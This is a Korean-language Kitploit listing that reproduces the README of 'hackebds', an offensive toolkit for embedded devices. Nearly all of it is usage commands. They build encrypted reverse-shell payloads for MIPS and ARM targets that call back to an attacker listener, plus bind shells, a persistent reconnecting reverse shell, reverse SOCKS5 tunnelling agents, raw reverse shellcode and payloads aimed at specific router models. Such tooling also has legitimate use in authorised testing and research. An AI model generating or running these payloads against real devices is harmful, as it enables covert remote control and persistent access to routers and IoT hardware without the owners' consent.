Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hackEmbedded — 이 도구는 다양한 아키텍처 장치에 대한 백도어 암호화, shellcode, SOCKS5 프록시 생성, 정보 검색 및 POC 정리에 사용됩니다. | Kitploit
도구/GitHubGitHub/doudoudedi/hackembedded
Embedded Systems SecurityEncryption/Decryption ToolsIoT SecurityPayload GenerationExploitationReverse EngineeringShellcodePenetration TestingCommand and ControlRemote Access ToolFirmware Analysis
2073226일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
doudoudedi/hackembedded

hackEmbedded

이 도구는 다양한 아키텍처 장치에 대한 백도어 암호화, shellcode, SOCKS5 프록시 생성, 정보 검색 및 POC 정리에 사용됩니다.

저장소 보기

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗중국어 readme

개요

hackebds는 임베디드 장치용 페이로드 생성, 암호화된 셸 워크플로우, SOCKS5 프록시 터널링 및 장치 정보 조회를 위한 툴킷입니다.

현재 브랜치는 암호화된 셸 및 프록시 기능을 위해 순수 ELF 워크플로우를 사용합니다:

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

새 버전에서 변경된 사항

  • 현재 트리에서 지원하는 아키텍처에 대해 암호화된 리버스 셸 및 암호화된 바인드 셸 추가
  • Python 런타임 핸들러 없이 암호화된 리버스 셸을 수신할 수 있도록 encrypted_shell_server / reverse_shell_server ELF 리스너 추가
  • bind_shell용 bind_shell_client ELF 커넥터 추가
  • 리버스 SOCKS5 프록시 및 포워드 SOCKS5 프록시 ELF 워크플로우 추가
  • 암호화된 셸/프록시 트래픽에 대해 aes 및 chacha20 암호 선택 추가
  • bind_shell, encrypted_shell_server, reverse_proxy_server, forward_proxy_file과 같은 리스너 측 ELF 바이너리에 대해 -bind_ip 추가
  • reverse_shell_file 및 reverse_proxy_file은 아웃바운드 페이로드로 유지: 를 사용하며 로컬 리스너 IP를 바인딩하지 않음

설치

root@kitploit:~
python3 -m pip install -U hackebds

로컬 개발 설치:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

다른 머신에서 빌드

다른 호스트에서 릴리스 휠을 다시 빌드해야 하는 경우 소스 zip과 build_release.py를 사용하세요.

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

필요한 Binutils

네이티브가 아닌 ELF 파일을 생성하기 전에 대상 아키텍처의 binutils를 설치하세요.

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

macOS 사용자는 pwntools binutils를 사용할 수 있습니다:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

사용 예제

1. 암호화된 리버스 셸

공격자 측:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

대상 측:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

참고:

  • reverse_shell_file은 -bind_ip를 지원하지 않음
  • encrypted_shell_server는 -bind_ip를 지원함
  • -cipher chacha20를 -cipher aes로 변경하여 AES 사용

2. 암호화된 바인드 셸

대상 측:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

공격자 측:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

그런 다음 입력:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. 지속적 리버스 셸

리스너:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

페이로드:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. 암호화된 리버스 SOCKS5 프록시

서버:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

에이전트:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

테스트:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

인증이 활성화된 서버:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

UDP 참고:

  • 리버스 SOCKS5 프록시는 구현된 비-SPARC 프록시 경로에서 UDP를 지원함
  • sparc / sparc64는 UDP를 지원하지 않는 것으로 간주해야 함

5. 포워드 SOCKS5 프록시

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

테스트:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. 리버스 셸코드

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. -model 사용

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. --mcpu 사용

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. --firmware 사용

root@kitploit:~
hackebds --firmware ./firmware.bin

참고

  • -bind_ip는 리스너 측 ELF 파일에만 해당
  • reverse_shell_file 및 reverse_proxy_file은 아웃바운드 페이로드이며 로컬 리스너 IP를 바인딩하지 않음
  • reverse_proxy_server 및 forward_proxy_file은 -bind_ip를 지원함
  • 암호화된 셸/프록시 예제는 chacha20 및 aes 모두에서 작동하며, 양쪽이 일치하기만 하면 됨
도구 다운로드
-reverse_ip